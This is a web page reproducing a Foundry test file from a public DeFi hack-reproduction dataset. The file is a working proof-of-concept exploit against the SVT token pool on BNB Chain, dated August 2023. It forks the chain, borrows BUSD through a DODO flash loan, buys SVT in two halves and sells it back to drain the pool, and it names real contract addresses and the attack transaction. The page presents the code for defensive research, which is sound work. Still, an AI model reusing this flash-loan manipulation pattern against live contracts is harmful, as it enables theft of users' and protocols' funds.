Skip to content
THREATWIRE

Public reproduction file

src/test/2023-08/SVT_exp.sol

Public reproduction file for dataset entry SVT.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-08/SVT_exp.sol57 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @Analysis
8// https://twitter.com/Phalcon_xyz/status/1695285435671392504?s=20
9// @TX
10// https://bscscan.com/tx/0xf2a0c957fef493af44f55b201fbc6d82db2e4a045c5c856bfe3d8cb80fa30c12
12interface ISVTpool {
13 function buy(
14 uint256 amount
15 ) external;
16 function sell(
17 uint256 amount
18 ) external;
21contract ContractTest is Test {
22 IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);
23 IERC20 SVT = IERC20(0x657334B4FF7bDC4143941B1F94301f37659c6281);
24 ISVTpool pool = ISVTpool(0x2120F8F305347b6aA5E5dBB347230a8234EB3379);
25 address dodo = 0xFeAFe253802b77456B4627F8c2306a9CeBb5d681;
27 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
29 function setUp() public {
30 cheats.createSelectFork("bsc", 31_178_238 - 1);
31 }
33 function testExploit() public {
34 BUSD.approve(address(pool), type(uint256).max);
35 SVT.approve(address(pool), type(uint256).max);
36 uint256 flash_amount = BUSD.balanceOf(dodo);
37 DVM(dodo).flashLoan(0, flash_amount, address(this), new bytes(1));
39 emit log_named_decimal_uint("[End] Attacker BUSD balance after exploit", BUSD.balanceOf(address(this)), 18);
40 }
42 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
43 // Buy SVT with BUSD
44 uint256 amount = BUSD.balanceOf(address(this));
45 pool.buy(amount / 2);
46 uint256 svtBalance1 = SVT.balanceOf(address(this));
47 pool.buy(amount - amount / 2);
48 uint256 svtBalance2 = SVT.balanceOf(address(this)) - svtBalance1;
49 console2.log(svtBalance2);
50 console2.log(svtBalance1);
51 // Sell SVT for BUSD
52 pool.sell(svtBalance2);
53 pool.sell(SVT.balanceOf(address(this)) * 62 / 100);
55 BUSD.transfer(dodo, quoteAmount);
56 }

Analysis

Dataset entry

Public Foundry test for “SVT” (2023-08-26). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

12 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
SVT
Path
src/test/2023-08/SVT_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
6930235196d418517de068c533a1ddd1e532514b
Language
Solidity
Size
58 lines
Date
2023-08-26
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-08/SVT_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 6930235196d418517de068c533a1ddd1e532514b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.